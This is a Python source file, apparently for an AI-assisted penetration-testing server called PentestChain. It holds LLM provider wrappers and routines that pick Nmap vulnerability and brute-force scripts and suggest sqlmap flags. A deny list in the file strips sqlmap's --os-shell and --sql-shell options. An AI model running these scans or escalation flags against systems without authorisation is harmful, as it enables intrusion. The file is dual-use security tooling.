#!/usr/bin/env python3
from __future__ import annotations
"""
PentestChain Web Server
Runs on http://0.0.0.0:4444
"""

from flask import Flask, render_template, request, jsonify, send_file
from flask_socketio import SocketIO, emit
import subprocess, shlex, socket, threading, os, json, time
import datetime, requests, xml.etree.ElementTree as ET
import concurrent.futures, re, ipaddress, sys

# MCP AI Agent — provides intelligent exploit/remediation decisions
# kill-switched via DISABLE_MCP_AI=1 (default). All *live* AI is routed through
# ai_helpers.py and is invoked in ONLY 4 places:
#   1. NSE picker + custom NSE builder  (Phase 3)
#   2. sqlmap fuzz-flag suggester       (Phase 5)
#   3. CVE cross-DB finder              (Phase 4)
#   4. Remediation + smart exploit      (Phase 6/9 + /api/smart_exploit)
try:
    from mcp_agent import analyse_scan, generate_rc_script, call_ai, \
                          analyse_attack_chain, select_payload, generate_rc_script_v2, \
                          ai_decide_scan_depth, ai_select_nse_scripts, \
                          ai_decide_web_scans, ai_prioritise_exploits
    HAS_MCP_AGENT = True
except ImportError:
    HAS_MCP_AGENT = False
    call_ai = None

os.environ.setdefault("DISABLE_MCP_AI", "1")

HAS_AI_HELPERS = True

HAS_MSFRPC = True
HAS_MSFRPC = True

HAS_V3 = True

HAS_HOST_DISCOVERY = True

HAS_AUTH = True

HAS_REMEDIATOR = True

HAS_EXPORTER = True


"""ai_helpers — AI provider wrappers with rule-based fallbacks."""
import logging
from typing import Callable, Optional

logger = logging.getLogger("ai_helpers")

GEMINI_API_KEY      = os.environ.get("GEMINI_API_KEY", "").strip()
ANTHROPIC_API_KEY   = os.environ.get("ANTHROPIC_API_KEY", "").strip()
OPENROUTER_API_KEY  = os.environ.get("OPENROUTER_API_KEY", "").strip()
CEREBRAS_API_KEY    = os.environ.get("CEREBRAS_API_KEY", "").strip()

def _load_ai_env():
    # the loader works whether we're started from Docker, from a Mac terminal
    # with a different CWD, or from a launcher script.
    search_paths = ["/app/ai_api.env", "ai_api.env", "../ai_api.env"]
    try:
        here = os.path.dirname(os.path.abspath(__file__))
        search_paths.insert(0, os.path.join(here, "ai_api.env"))
        search_paths.insert(1, os.path.join(here, "..", "ai_api.env"))
    except Exception:
        pass

    loaded_from = ""
    for env_path in search_paths:
        if os.path.exists(env_path):
            with open(env_path) as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith("#") and "=" in line:
                        k, v = line.split("=", 1)
                        k, v = k.strip(), v.strip().strip('"').strip("'")
                        if k and v and v not in ("YOUR_ANTHROPIC_API_KEY_HERE",
                                                  "YOUR_GITHUB_TOKEN_HERE",
                                                  "notset", "your_key_here"):
                            os.environ[k] = v
            loaded_from = env_path
            break
    if loaded_from:
        try:
            logger.info(f"[AI-ENV] loaded keys from {loaded_from}")
        except Exception:
            print(f"[AI-ENV] loaded keys from {loaded_from}")
    return loaded_from

_load_ai_env()
GEMINI_API_KEY      = os.environ.get("GEMINI_API_KEY", "").strip()
ANTHROPIC_API_KEY   = os.environ.get("ANTHROPIC_API_KEY", "").strip()
OPENROUTER_API_KEY  = os.environ.get("OPENROUTER_API_KEY", "").strip()
CEREBRAS_API_KEY    = os.environ.get("CEREBRAS_API_KEY", "").strip()

_DEAD_UNTIL: dict = {"gemini": 0.0, "anthropic": 0.0, "ollama": 0.0, "openrouter": 0.0, "cerebras": 0.0}
_DEAD_WINDOW = 90  # seconds to back off after a 429 (Gemini free-tier)

_RATE_WINDOW   = 60.0          # seconds
_RATE_LIMITS   = {"gemini": 10, "openrouter": 15, "cerebras": 20}   # max requests per _RATE_WINDOW
_RATE_HISTORY: dict = {"gemini": [], "openrouter": [], "cerebras": []}  # recent call timestamps
_RATE_LOCK = threading.Lock()

def _rate_ok(name: str) -> bool:
    """Return True if the provider is under its per-minute cap."""
    limit = _RATE_LIMITS.get(name)
    if not limit:
        return True   # no cap defined → always ok (Ollama)
    now = time.time()
    with _RATE_LOCK:
        hist = _RATE_HISTORY.get(name, [])
        hist = [t for t in hist if now - t < _RATE_WINDOW]
        if len(hist) >= limit:
            _RATE_HISTORY[name] = hist
            return False
        hist.append(now)
        _RATE_HISTORY[name] = hist
    return True

# Gemini API base — model name is appended per-call so we can try multiple.
GEMINI_API_BASE = "https://generativelanguage.googleapis.com/v1beta/models/"
ANTHROPIC_URL   = "https://api.anthropic.com/v1/messages"

# Gemini models — tried IN ORDER. Gemma 4 models have 1,500 RPD (vs 20 RPD
# for gemini-2.5-flash on the free tier), so we try them FIRST.
GEMINI_MODELS = [
    "gemma-4-26b-a4b-it",           # 1,500 RPD — high quota, great quality
    "gemma-4-31b-it",               # 1,500 RPD — dense 31B model
    "gemini-2.5-flash",              # 20 RPD  — best quality but tiny free quota
]

# OpenRouter — aggregated free models via a single API.
# Sign up free (no credit card) at https://openrouter.ai to get a key.
OPENROUTER_URL = "https://openrouter.ai/api/v1/chat/completions"

# Cerebras — ultra-fast inference, free tier (1M tokens/day, no credit card).
# Sign up at https://cloud.cerebras.ai to get a key.
CEREBRAS_URL = "https://api.cerebras.ai/v1/chat/completions"

# Primary model list — tried in order until one returns HTTP 200.
ANTHROPIC_MODELS = [
    "claude-haiku-4-5-20251001",
    "claude-3-5-haiku-20241022",
    "claude-3-haiku-20240307",
]
ANTHROPIC_MODEL = ANTHROPIC_MODELS[0]  # kept for backward compat

# OpenRouter free models — tried in order. Use `:free` suffix for zero-cost.
OPENROUTER_MODELS = [
    "deepseek/deepseek-v4-flash:free",          # Quality 77 — best free model
    "google/gemma-4-31b-it:free",               # Quality 65 — vision + tools
    "openai/gpt-oss-120b:free",                 # Quality 55 — OpenAI open-weights
    "meta-llama/llama-3.3-70b-instruct:free",   # Quality 24 — reliable fallback
]

# Cerebras models — blazing-fast inference on custom hardware
CEREBRAS_MODELS = [
    "llama-3.3-70b",                            # fast, reliable
    "gpt-oss-120b",                             # OpenAI open-weights MoE
    "zai-glm-4.7",                              # Z.ai flagship
]

SYSTEM_PROMPT = (
    "You are a senior penetration-testing assistant. "
    "You must respond ONLY with a compact JSON object and nothing else -- "
    "no markdown, no code fences, no prose."
)

# Internal: single-attempt providers
def _provider_alive(name: str) -> bool:
    return time.time() >= _DEAD_UNTIL.get(name, 0)


def _mark_dead(name: str) -> None:
    _DEAD_UNTIL[name] = time.time() + _DEAD_WINDOW
    logger.warning(f"[AI-FAST] Marking {name} dead for {_DEAD_WINDOW}s")


def _try_gemini(prompt: str, timeout: float) -> str:
    """Try multiple Gemini/Gemma models in order. Gemma 4 has 1500 RPD vs
    gemini-2.5-flash's 20 RPD, so we try high-quota models first."""
    key = os.environ.get("GEMINI_API_KEY", "").strip()
    if not key or not _provider_alive("gemini") or not _rate_ok("gemini"):
        return ""
    t0 = time.time()
    for model in GEMINI_MODELS:
        try:
            url = f"{GEMINI_API_BASE}{model}:generateContent?key={key}"
            payload = {
                "contents": [{"parts": [{"text": SYSTEM_PROMPT + "\n\n" + prompt}]}],
                "generationConfig": {
                    "temperature": 0.1,
                    "maxOutputTokens": 2048,
                    "thinkingConfig": {"includeThoughts": False},
                },
            }
            r = requests.post(url, json=payload, timeout=timeout)
            if r.status_code == 200:
                data = r.json()
                if data.get("candidates"):
                    parts = data["candidates"][0]["content"]["parts"]
                    # before the real answer — skip them.
                    txt = ""
                    for part in parts:
                        if not part.get("thought"):
                            txt = part.get("text", "").strip()
                            if txt:
                                break
                    if not txt and parts:
                        txt = parts[-1].get("text", "").strip()
                    if txt:
                        logger.info(f"[AI-FAST] Gemini OK via model={model}")
                        _record_ai_call("gemini", True, int((time.time()-t0)*1000))
                        return txt
                logger.info(f"[AI-FAST] Gemini {model} empty candidates, trying next")
                continue
            if r.status_code == 429:
                logger.info(f"[AI-FAST] Gemini {model} 429 rate-limited, trying next model")
                continue
            if r.status_code == 404:
                logger.info(f"[AI-FAST] Gemini {model} 404 not found, trying next model")
                continue
            if r.status_code in (400, 401, 403):
                logger.error(f"[AI-FAST] Gemini {model} {r.status_code}: {r.text[:150]}")
                if r.status_code == 401:
                    _mark_dead("gemini")
                    break  # bad key — no point trying other models
                continue  # 400/403 might be model-specific
            logger.info(f"[AI-FAST] Gemini {model} HTTP {r.status_code}, trying next")
            continue
        except requests.exceptions.Timeout:
            logger.info(f"[AI-FAST] Gemini {model} timeout")
            break  # if one model times out, others will too
        except Exception as e:
            logger.info(f"[AI-FAST] Gemini {model} error: {e}")
            break
    _record_ai_call("gemini", False, int((time.time()-t0)*1000), "all models failed")
    return ""


# ── AI provider call metrics — used by /api/ai_metrics and the live UI badge
_AI_METRICS: dict = {}
_AI_METRICS_LOCK = threading.Lock()

# so the UI can show WHAT was asked, not just the call count.
import collections as _collections
_AI_CALL_LOG: "collections.deque" = _collections.deque(maxlen=50)

# _record_ai_call without touching every individual provider function.
_ai_call_context = threading.local()


def _record_ai_call(name: str, ok: bool, ms: int, err: str = ""):
    """Record one AI provider call into the in-memory metrics table and
    push a socket.io event so the UI's live "AI activity" widget can update.
    Also appends an entry to _AI_CALL_LOG so the UI can display what prompt
    triggered the call.
        """
    prompt_snippet = getattr(_ai_call_context, "prompt_snippet", "")
    with _AI_METRICS_LOCK:
        m = _AI_METRICS.setdefault(name, {
            "calls": 0, "ok": 0, "fail": 0,
            "total_ms": 0, "last_ms": 0, "last_error": "",
            "last_ts": 0,
        })
        m["calls"]   += 1
        m["ok"]      += 1 if ok else 0
        m["fail"]    += 0 if ok else 1
        m["total_ms"] += int(ms)
        m["last_ms"] = int(ms)
        m["last_ts"] = int(time.time())
        if err:
            m["last_error"] = str(err)[:200]
        # Append to the rolling call log
        _AI_CALL_LOG.append({
            "provider": name,
            "ok": ok,
            "ms": int(ms),
            "ts": int(time.time()),
            "prompt": prompt_snippet[:140] if prompt_snippet else "",
            "err": str(err)[:100] if err else "",
        })
    try:
        socketio.emit("ai_call", {
            "provider": name, "ok": ok, "ms": int(ms),
            "prompt": prompt_snippet[:80] if prompt_snippet else "",
        })
    except Exception:
        pass


def _try_ollama(prompt: str, timeout: float) -> str:
    """
    Local LLM provider — talks to Ollama (preferred) or any compatible local
    server (LM Studio, llama.cpp server, vLLM) running on your machine.

    Setup on macOS native (no Docker):
        brew install ollama
        ollama serve                              # http://127.0.0.1:11434
        ollama pull qwen2.5-coder:7b              # recommended for JSON output
        export OLLAMA_MODEL=qwen2.5-coder:7b      # (or qwen2.5:7b, llama3.1:8b, etc.)

    Setup if Flask runs in Docker on Mac:
        export OLLAMA_HOST=http://host.docker.internal:11434

    Tries native /api/generate first, then OpenAI-compatible /v1/chat/completions.
    Tries 127.0.0.1, localhost, host.docker.internal — first one that answers wins
    so the same env works for both native-Mac and Docker setups.
    """
    if not _provider_alive("ollama"):
        return ""

    t0 = time.time()
    err_msg = ""

    # ONLY that. Otherwise try local first, then Docker bridge.
    env_host = os.environ.get("OLLAMA_HOST", "").strip().rstrip("/")
    if env_host:
        hosts = [env_host]
    else:
        hosts = [
            "http://127.0.0.1:11434",
            "http://localhost:11434",
            "http://host.docker.internal:11434",
        ]

    model = os.environ.get("OLLAMA_MODEL", "qwen2.5-coder:7b")
    use_json_mode = os.environ.get("OLLAMA_JSON_MODE", "1") != "0"

    # timeout at 60s so the very first call (model cold-load) doesn't error
    # before the model finishes loading.
    eff_timeout = max(timeout, 60.0)

    for host in hosts:
        try:
            payload = {
                "model":   model,
                "prompt":  SYSTEM_PROMPT + "\n\n" + prompt,
                "stream":  False,
                "options": {"temperature": 0.1, "num_predict": 2048},
            }
            if use_json_mode:
                payload["format"] = "json"
            r = requests.post(f"{host}/api/generate",
                              json=payload, timeout=eff_timeout)
            if r.status_code == 200:
                text = (r.json().get("response", "") or "").strip()
                if text:
                    elapsed = int((time.time() - t0) * 1000)
                    logger.info(f"[AI-FAST] ollama OK via {host} model={model} {elapsed}ms")
                    _record_ai_call("ollama", True, elapsed)
                    return text
                # 200 but empty body — probably JSON-mode bug; try without
                if use_json_mode:
                    payload.pop("format", None)
                    r2 = requests.post(f"{host}/api/generate",
                                       json=payload, timeout=eff_timeout)
                    if r2.status_code == 200:
                        t2 = (r2.json().get("response", "") or "").strip()
                        if t2:
                            elapsed = int((time.time() - t0) * 1000)
                            _record_ai_call("ollama", True, elapsed)
                            return t2
            elif r.status_code == 404:
                err_msg = f"model '{model}' not pulled at {host} — run: ollama pull {model}"
                logger.warning(f"[AI-FAST] Ollama: {err_msg}")
                # Don't try the same model on the next host — same result
                _mark_dead("ollama")
                _record_ai_call("ollama", False,
                                 int((time.time() - t0) * 1000), err_msg)
                return ""
            else:
                err_msg = f"HTTP {r.status_code}: {r.text[:120]}"
                logger.info(f"[AI-FAST] ollama {host} → {err_msg}")
        except requests.exceptions.ConnectionError:
            # This host isn't running an Ollama server — try the next one
            err_msg = f"connection refused at {host}"
            continue
        except requests.exceptions.Timeout:
            err_msg = f"timeout (>{eff_timeout:.0f}s) at {host} — model may be cold-loading"
            logger.warning(f"[AI-FAST] ollama: {err_msg}")
            # Don't fall through — same host won't suddenly be faster
            break
        except Exception as e:
            err_msg = f"native error: {e}"
            logger.info(f"[AI-FAST] ollama {host} native error: {e}")

        try:
            body = {
                "model":      model,
                "messages":   [
                    {"role": "system", "content": SYSTEM_PROMPT},
                    {"role": "user",   "content": prompt},
                ],
                "temperature": 0.1,
                "max_tokens":  2048,
            }
            if use_json_mode:
                body["response_format"] = {"type": "json_object"}
            r = requests.post(
                f"{host}/v1/chat/completions",
                headers={"Content-Type": "application/json"},
                json=body, timeout=eff_timeout,
            )
            if r.status_code == 200:
                text = r.json()["choices"][0]["message"]["content"].strip()
                if text:
                    elapsed = int((time.time() - t0) * 1000)
                    logger.info(f"[AI-FAST] ollama OK (openai-compat) "
                                f"via {host} model={model} {elapsed}ms")
                    _record_ai_call("ollama", True, elapsed)
                    return text
        except requests.exceptions.ConnectionError:
            err_msg = f"openai-compat refused at {host}"
            continue
        except Exception as e:
            err_msg = f"openai-compat error: {e}"

    # All hosts exhausted
    elapsed = int((time.time() - t0) * 1000)
    logger.warning(f"[AI-FAST] ollama unreachable on all hosts after {elapsed}ms — "
                   f"{err_msg}. Check: `ollama serve` and `ollama list`.")
    _record_ai_call("ollama", False, elapsed, err_msg or "unreachable")
    _mark_dead("ollama")
    return ""


def _try_anthropic(prompt: str, timeout: float) -> str:
    # Re-read key each call so hot-reloaded env takes effect
    key = os.environ.get("ANTHROPIC_API_KEY", "").strip()
    if not key or key in ("notset", "YOUR_ANTHROPIC_API_KEY_HERE", "") \
            or not _provider_alive("anthropic"):
        return ""
    t0 = time.time()
    # Try each model in the fallback list — a 400 on the first model (e.g. key
    # doesn't have access to claude-haiku-4-5 yet) falls through to 3.5-haiku.
    for model in ANTHROPIC_MODELS:
        try:
            r = requests.post(
                ANTHROPIC_URL,
                headers={
                    "x-api-key": key,
                    "anthropic-version": "2023-06-01",
                    "Content-Type": "application/json",
                },
                json={
                    "model": model,
                    "max_tokens": 2048,
                    "system": SYSTEM_PROMPT,
                    "messages": [{"role": "user", "content": prompt}],
                },
                timeout=timeout,
            )
            if r.status_code == 200:
                txt = r.json()["content"][0]["text"].strip()
                _record_ai_call("anthropic", True, int((time.time()-t0)*1000))
                return txt
            if r.status_code == 400:
                err_body = r.text[:200]
                if "credit balance" in err_body.lower() or "billing" in err_body.lower():
                    _DEAD_UNTIL["anthropic"] = time.time() + 3600
                    logger.error("[AI-FAST] Anthropic NO CREDITS -- dead 1h")
                    break   # no point trying other models
                # Could be model not available for this key — try next model
                logger.info(f"[AI-FAST] Anthropic 400 on {model}: {err_body[:80]}, trying next")
                continue
            if r.status_code == 429:
                _mark_dead("anthropic")
                logger.warning("[AI-FAST] Anthropic 429 -- rate-limited")
                break
            if r.status_code == 401:
                _mark_dead("anthropic")
                logger.error("[AI-FAST] Anthropic 401 -- invalid API key. Check ai_api.env")
                break
            if r.status_code == 403:
                _mark_dead("anthropic")
                logger.error("[AI-FAST] Anthropic 403 -- forbidden")
                break
            logger.warning(f"[AI-FAST] Anthropic {model} HTTP {r.status_code}: {r.text[:100]}")
            break   # unexpected status — don't retry other models
        except Exception as e:
            logger.info(f"[AI-FAST] anthropic {model} error: {e}")
            break
    _record_ai_call("anthropic", False, int((time.time()-t0)*1000),
                      f"all models failed or blocked")
    return ""


def _try_openrouter(prompt: str, timeout: float) -> str:
    """OpenRouter — aggregated free models via a single API key.
    Sign up free (no credit card) at https://openrouter.ai to get a key.
    Set OPENROUTER_API_KEY in ai_api.env.
    """
    key = os.environ.get("OPENROUTER_API_KEY", "").strip()
    if not key or key in ("notset", "YOUR_OPENROUTER_API_KEY_HERE", "") \
            or not _provider_alive("openrouter") or not _rate_ok("openrouter"):
        return ""
    t0 = time.time()
    for model in OPENROUTER_MODELS:
        try:
            body = {
                "model": model,
                "messages": [
                    {"role": "system", "content": SYSTEM_PROMPT},
                    {"role": "user",   "content": prompt},
                ],
                "temperature": 0.1,
                "max_tokens": 2048,
            }
            r = requests.post(
                OPENROUTER_URL,
                headers={
                    "Authorization": f"Bearer {key}",
                    "Content-Type": "application/json",
                    "HTTP-Referer": "https://pentestchain.local",
                    "X-Title": "PentestChain",
                },
                json=body,
                timeout=timeout,
            )
            if r.status_code == 200:
                data = r.json()
                # OpenRouter wraps errors inside 200 responses sometimes
                if data.get("error"):
                    logger.info(f"[AI-FAST] OpenRouter {model} returned error in body: "
                                f"{str(data['error'])[:120]}, trying next")
                    continue
                choices = data.get("choices", [])
                if choices:
                    txt = choices[0].get("message", {}).get("content", "").strip()
                    if txt:
                        logger.info(f"[AI-FAST] OpenRouter OK via model={model}")
                        _record_ai_call("openrouter", True, int((time.time()-t0)*1000))
                        return txt
                logger.info(f"[AI-FAST] OpenRouter {model} empty response, trying next")
                continue
            if r.status_code == 429:
                # Model-level 429 — try next model (different model = different quota)
                logger.info(f"[AI-FAST] OpenRouter {model} 429, trying next model")
                continue
            if r.status_code in (401, 403):
                _mark_dead("openrouter")
                logger.error(f"[AI-FAST] OpenRouter {r.status_code} — check OPENROUTER_API_KEY in ai_api.env")
                _record_ai_call("openrouter", False, int((time.time()-t0)*1000),
                                 f"{r.status_code} auth error")
                return ""
            # Model-level error (402, 404, etc.) — try next model
            logger.info(f"[AI-FAST] OpenRouter {model} HTTP {r.status_code}: {r.text[:100]}, trying next")
            continue
        except Exception as e:
            logger.info(f"[AI-FAST] openrouter {model} error: {e}")
            continue
    _record_ai_call("openrouter", False, int((time.time()-t0)*1000), "all models failed")
    return ""


def _try_cerebras(prompt: str, timeout: float) -> str:
    """Cerebras — ultra-fast inference, free tier (1M tokens/day, no credit card).
    Sign up at https://cloud.cerebras.ai to get a key.
    Set CEREBRAS_API_KEY in ai_api.env.
    """
    key = os.environ.get("CEREBRAS_API_KEY", "").strip()
    if not key or key in ("notset", "YOUR_CEREBRAS_API_KEY_HERE", "") \
            or not _provider_alive("cerebras") or not _rate_ok("cerebras"):
        return ""
    t0 = time.time()
    for model in CEREBRAS_MODELS:
        try:
            body = {
                "model": model,
                "messages": [
                    {"role": "system", "content": SYSTEM_PROMPT},
                    {"role": "user",   "content": prompt},
                ],
                "temperature": 0.1,
                "max_tokens": 2048,
            }
            r = requests.post(
                CEREBRAS_URL,
                headers={
                    "Authorization": f"Bearer {key}",
                    "Content-Type": "application/json",
                },
                json=body,
                timeout=timeout,
            )
            if r.status_code == 200:
                data = r.json()
                choices = data.get("choices", [])
                if choices:
                    txt = choices[0].get("message", {}).get("content", "").strip()
                    if txt:
                        logger.info(f"[AI-FAST] Cerebras OK via model={model}")
                        _record_ai_call("cerebras", True, int((time.time()-t0)*1000))
                        return txt
                logger.info(f"[AI-FAST] Cerebras {model} empty response, trying next")
                continue
            if r.status_code == 429:
                # Try next model — different model may have separate quota
                logger.info(f"[AI-FAST] Cerebras {model} 429, trying next model")
                continue
            if r.status_code in (401, 403):
                _mark_dead("cerebras")
                logger.error(f"[AI-FAST] Cerebras {r.status_code} — check CEREBRAS_API_KEY in ai_api.env")
                _record_ai_call("cerebras", False, int((time.time()-t0)*1000),
                                 f"{r.status_code} auth error")
                return ""
            logger.info(f"[AI-FAST] Cerebras {model} HTTP {r.status_code}: {r.text[:100]}, trying next")
            continue
        except Exception as e:
            logger.info(f"[AI-FAST] cerebras {model} error: {e}")
            continue
    _record_ai_call("cerebras", False, int((time.time()-t0)*1000), "all models failed")
    return ""


# Public: fast-fail AI call  (parallel race + LRU cache for speed)
import hashlib
from collections import OrderedDict

_AI_CACHE: "OrderedDict[str,str]" = OrderedDict()
_AI_CACHE_MAX = 512
_AI_CACHE_LOCK = threading.Lock()


def _cache_get(key: str):
    with _AI_CACHE_LOCK:
        if key in _AI_CACHE:
            # LRU bump
            _AI_CACHE.move_to_end(key)
            return _AI_CACHE[key]
    return None


def _cache_put(key: str, value: str):
    if not value:
        return
    with _AI_CACHE_LOCK:
        _AI_CACHE[key] = value
        _AI_CACHE.move_to_end(key)
        while len(_AI_CACHE) > _AI_CACHE_MAX:
            _AI_CACHE.popitem(last=False)


def call_ai_fast(prompt: str, timeout: float = 18.0, use_cache: bool = True) -> str:
    """
    Tiered AI call — preserves cloud rate-limit quotas by trying Ollama first.

    Tier 1 — Ollama (local, free, unlimited): tried alone for up to half the
             budget. If it answers, no cloud provider is ever touched.
    Tier 2 — Gemini (free cloud, fast): tried when Ollama is dead/offline.
    Tier 3 — OpenRouter + Cerebras (free cloud): last resort, raced in parallel.

    Returns "" if every alive provider failed; caller should have a rule-based
    fallback.
    """
    if not prompt:
        return ""

    # Store snippet for the call log (picked up by closures in worker threads)
    _ai_call_context.prompt_snippet = prompt[:140].replace("\n", " ")

    key = hashlib.sha256(prompt.encode("utf-8", errors="ignore")).hexdigest()
    if use_cache:
        cached = _cache_get(key)
        if cached:
            logger.info(f"[AI] cache HIT ({len(cached)}c)")
            return cached

    _snippet = prompt[:140].replace("\n", " ")
    def _wrap(fn):
        def _call(p, t):
            _ai_call_context.prompt_snippet = _snippet
            return fn(p, t)
        return _call

    def _race(fns_names: list, budget: float) -> str:
        """Race a list of (fn, name) pairs; return first non-empty result."""
        alive = [(fn, nm) for fn, nm in fns_names if _provider_alive(nm)]
        if not alive:
            return ""
        t0 = time.time()
        with concurrent.futures.ThreadPoolExecutor(max_workers=len(alive)) as ex:
            future_map = {ex.submit(_wrap(fn), prompt, budget): nm for fn, nm in alive}
            try:
                for fut in concurrent.futures.as_completed(future_map, timeout=budget + 2):
                    nm = future_map[fut]
                    try:
                        out = fut.result()
                    except Exception as e:
                        logger.debug(f"[AI] {nm} raised: {e}")
                        continue
                    if out:
                        for other in future_map:
                            if other is not fut and not other.done():
                                other.cancel()
                        logger.info(f"[AI] {nm} answered ({len(out)}c, {time.time()-t0:.1f}s)")
                        return out
            except concurrent.futures.TimeoutError:
                logger.warning(f"[AI] race timeout after {budget+2:.0f}s")
        return ""

    # Tried first by request: it's local (no data leaves the machine), has no
    # rate limit, and is free. It's slower (7B on CPU) so we give it a generous
    # budget before falling through to the cloud providers.
    ollama_budget = max(timeout, 30.0)
    result = _race([(_try_ollama, "ollama")], ollama_budget)
    if result:
        _cache_put(key, result)
        return result

    # Used only when Ollama is unavailable/offline. Cerebras answered 100% in
    # ~2s in real telemetry (1M tokens/day free); OpenRouter covers any blip.
    result = _race([
        (_try_cerebras,   "cerebras"),
        (_try_openrouter, "openrouter"),
    ], timeout)
    if result:
        _cache_put(key, result)
        return result

    result = _race([(_try_gemini, "gemini")], timeout)
    if result:
        _cache_put(key, result)
        return result

    logger.warning("[AI] all providers failed — rule-based fallback active")
    return ""


def _parse_json(raw: str) -> Optional[dict]:
    """Permissively parse a JSON blob that may be wrapped in markdown fences."""
    if not raw:
        return None
    s = raw.strip()
    s = re.sub(r"^```(?:json)?\s*", "", s)
    s = re.sub(r"\s*```\s*$", "", s)
    try:
        return json.loads(s)
    except Exception:
        m = re.search(r"\{[\s\S]*\}", s)
        if not m:
            return None
        try:
            return json.loads(m.group(0))
        except Exception:
            return None


# Feature 1 -- NSE script picker + custom NSE builder
_NSE_LIBRARY = {
    "ftp":       ["ftp-anon", "ftp-syst", "ftp-brute", "ftp-vsftpd-backdoor"],
    "ssh":       ["ssh-auth-methods", "ssh-hostkey", "ssh2-enum-algos", "ssh-brute"],
    "telnet":    ["telnet-encryption", "telnet-brute"],
    "smtp":      ["smtp-commands", "smtp-enum-users", "smtp-open-relay"],
    "dns":       ["dns-recursion", "dns-cache-snoop", "dns-zone-transfer"],
    "http":      ["http-title", "http-headers", "http-methods", "http-enum",
                  "http-sql-injection", "http-shellshock", "http-waf-detect"],
    "https":     ["ssl-cert", "ssl-enum-ciphers", "ssl-heartbleed", "http-title"],
    "smb":       ["smb-os-discovery", "smb-security-mode", "smb-enum-shares",
                  "smb-vuln-ms17-010", "smb-vuln-ms08-067"],
    "mysql":     ["mysql-info", "mysql-empty-password", "mysql-databases"],
    "mssql":     ["ms-sql-info", "ms-sql-empty-password", "ms-sql-xp-cmdshell"],
    "postgres":  ["pgsql-brute"],
    "rdp":       ["rdp-enum-encryption", "rdp-vuln-ms12-020"],
    "vnc":       ["vnc-info", "vnc-brute", "realvnc-auth-bypass"],
    "redis":     ["redis-info", "redis-brute"],
    "mongodb":   ["mongodb-info", "mongodb-brute"],
}


def _rule_nse_for(service: str, port: str) -> list:
    svc = (service or "").lower()
    for k, scripts in _NSE_LIBRARY.items():
        if k in svc:
            return list(scripts)
    return ["banner", "version", "vuln"]


def ai_pick_nse_scripts(services: list, scan_profile: str = "standard") -> dict:
    """
    For every discovered service, ask AI to pick the best NSE scripts.
    Returns {port: [script, ...]}. Never blocks -- rule-based fallback on error.
    """
    if not services:
        return {}

    picked = {str(s["port"]): _rule_nse_for(s.get("service", ""), str(s["port"]))
              for s in services}

    if scan_profile not in ("standard", "full"):
        return picked

    summary = [{
        "port":    str(s["port"]),
        "service": s.get("service", ""),
        "banner":  f"{s.get('product','')} {s.get('version','')}".strip(),
    } for s in services[:15]]

    prompt = (
        "Select the 4-8 most valuable NSE scripts for EACH service below. "
        "Prefer version-specific vuln scripts when the banner hints at a known CVE. "
        'Return JSON {"port":"<port>", "scripts":[...]} as a list under key "picks".\n\n'
        f"SERVICES:\n{json.dumps(summary)}"
    )
    raw = call_ai_fast(prompt, timeout=8.0)
    parsed = _parse_json(raw)
    if not parsed:
        return picked

    picks = parsed.get("picks") or parsed.get("ports") or []
    if isinstance(picks, dict):
        picks = [{"port": k, "scripts": v} for k, v in picks.items()]
    for item in picks:
        try:
            p = str(item.get("port", ""))
            scripts = [s for s in item.get("scripts", []) if isinstance(s, str)]
            if p and scripts:
                seen = set(picked.get(p, []))
                merged = list(picked.get(p, []))
                for s in scripts:
                    if s not in seen:
                        merged.append(s); seen.add(s)
                picked[p] = merged[:12]
        except Exception:
            continue
    return picked


def ai_build_custom_nse(service: dict) -> Optional[str]:
    """
    Generate a custom Lua NSE for exotic services not in the built-in library.
    Writes to /tmp/custom_<port>.nse and returns the path.
    Returns None on failure.
    """
    port   = str(service.get("port", ""))
    svc_nm = service.get("service", "unknown")
    banner = f"{service.get('product','')} {service.get('version','')}".strip()
    if not port:
        return None

    prompt = (
        "Write a minimal, SAFE Nmap NSE script (Lua) that banners and "
        f"fingerprints an uncommon service '{svc_nm}' (banner: '{banner}') "
        f"on port {port}. Rules:\n"
        " - `portrule = shortport.port_or_service(" + port + ", \"" + svc_nm + "\")`\n"
        " - Only READ from the socket; do NOT exploit or bruteforce.\n"
        " - Return findings via `stdnse.output_table`.\n"
        'Respond with JSON: {"lua": "<full script>"}'
    )
    raw = call_ai_fast(prompt, timeout=8.0)
    parsed = _parse_json(raw)
    if not parsed or "lua" not in parsed:
        return None
    lua = parsed["lua"]
    if "portrule" not in lua or "action" not in lua:
        return None
    path = f"/tmp/custom_{port}_{int(time.time())}.nse"
    try:
        with open(path, "w") as f:
            f.write(lua)
        return path
    except Exception:
        return None


# Feature 2 -- sqlmap flag / fuzz suggester
_SQLMAP_DEFAULT = {
    "level":     3,
    "risk":      2,
    "technique": "BEUSTQ",
    "threads":   4,
    "extra":     ["--forms", "--batch", "--smart", "--dbs", "--banner"],
}


def ai_suggest_sqlmap_flags(target_url: str, banner: str,
                             nse_hits: list,
                             web_body_snippet: str = "") -> dict:
    """
    Ask AI to produce a sensible sqlmap invocation for this target.
    Returns {"flags": "...", "reason": "..."}. Falls back to defaults.
    """
    def _default():
        flags = (f"--level={_SQLMAP_DEFAULT['level']} "
                 f"--risk={_SQLMAP_DEFAULT['risk']} "
                 f"--technique={_SQLMAP_DEFAULT['technique']} "
                 f"--threads={_SQLMAP_DEFAULT['threads']} "
                 f"{' '.join(_SQLMAP_DEFAULT['extra'])} "
                 f"--timeout=15 --retries=2")
        return {"flags": flags, "reason": "rule-based defaults"}

    prompt = (
        "Suggest sqlmap command-line flags tailored to this target. "
        "Prefer safer flags first, add --forms when a form is hinted. "
        "Never include the URL or -u; only the flag portion. "
        'Respond with JSON: {"flags": "--level=3 ...", "reason": "..."}\n\n'
        f"URL: {target_url}\nBANNER: {banner}\n"
        f"NSE HINTS: {json.dumps(nse_hits[:10])}\n"
        f"BODY SNIPPET: {web_body_snippet[:400]}\n"
    )
    raw = call_ai_fast(prompt, timeout=8.0)
    parsed = _parse_json(raw)
    if not parsed or not parsed.get("flags"):
        return _default()
    flags = str(parsed["flags"])
    flags = re.sub(r"\s*-u\s+\S+", "", flags)
    for bad in ("--os-shell", "--os-pwn", "--os-cmd", "--sql-shell"):
        flags = flags.replace(bad, "")
    return {"flags": flags.strip(), "reason": parsed.get("reason", "AI")}


# Feature 3 -- Cross-DB CVE finder
def extract_cvss_from_vector(vec: str) -> Optional[float]:
    """Parse a CVSS vector string to an approximate numeric score."""
    if not isinstance(vec, str):
        return None
    try:
        f = float(vec)
        if 0.0 <= f <= 10.0:
            return f
    except (TypeError, ValueError):
        pass

    v = vec.upper()
